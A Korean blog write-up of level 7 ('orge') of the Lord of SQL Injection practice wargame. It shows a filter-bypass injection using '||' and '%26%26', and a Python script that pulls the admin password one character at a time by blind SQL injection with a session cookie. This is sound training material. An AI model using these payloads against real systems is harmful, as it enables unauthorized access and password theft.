728x90
Q7. orge
문제 화면
해결 과정
코드 확인 결과 ` prob, _, . , , , () ` 의 일부 문자와 and, or 을 필터링한다는 것을 알 수 있고 두개의 쿼리를 통해서 id가 admin인 pw를 찾아내 문제를 풀어야 합니다
먼저 or을 우회하여 id를 admin으로 로그인을 해보았습니다
?pw=123' || id='admin'%23
Password 길이 구하기
다음엔 orc에서 자동화 프로그램으로 pw의 길이를 구하는 코드를 이용하여 admin의 pw 길이를 구해보겠습니다
현재 org 문제에서는 or ,and 가 필터링 되어있으므로 우회 문자로 쿼리 문을 바꿔서 코드를 돌려야한다
password 길이는 8자리인 것을 알 수 있다
Password 구하기
import requests
cookie = {'PHPSESSID': 'bmtkjtao6k7qe3rppdctckfa07'}
address = 'https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php'
# 비밀번호 유추
for i in range(1, 9):
for j in range(47, 123):
URL = address + "?pw= '|| id='admin' %26%26 ascii(substr(pw," + str(i) + ",1))=" + str(j) + "%23%27"
res = requests.get(URL, cookies=cookie)
if "Hello admin" in res.text:
print(str(i) + "번째 자리 비밀번호는" + chr(j) + "입니다")
break
결과 화면에 비밀번호가 나오는 것을 확인 할 수 있습니다
해결 화면
'보안 > Wargame' 카테고리의 다른 글
[Load of SQL Injection] 9번 vampire (0) | 2024.01.20 |
---|---|
[Load of SQL Injection] 8번 troll (0) | 2024.01.20 |
[Load of SQL Injection] 6번 darkelf (0) | 2024.01.17 |
[Load of SQL Injection] 5번 wolfman (0) | 2024.01.15 |
[Load of SQL Injection] 4번 orc (0) | 2024.01.13 |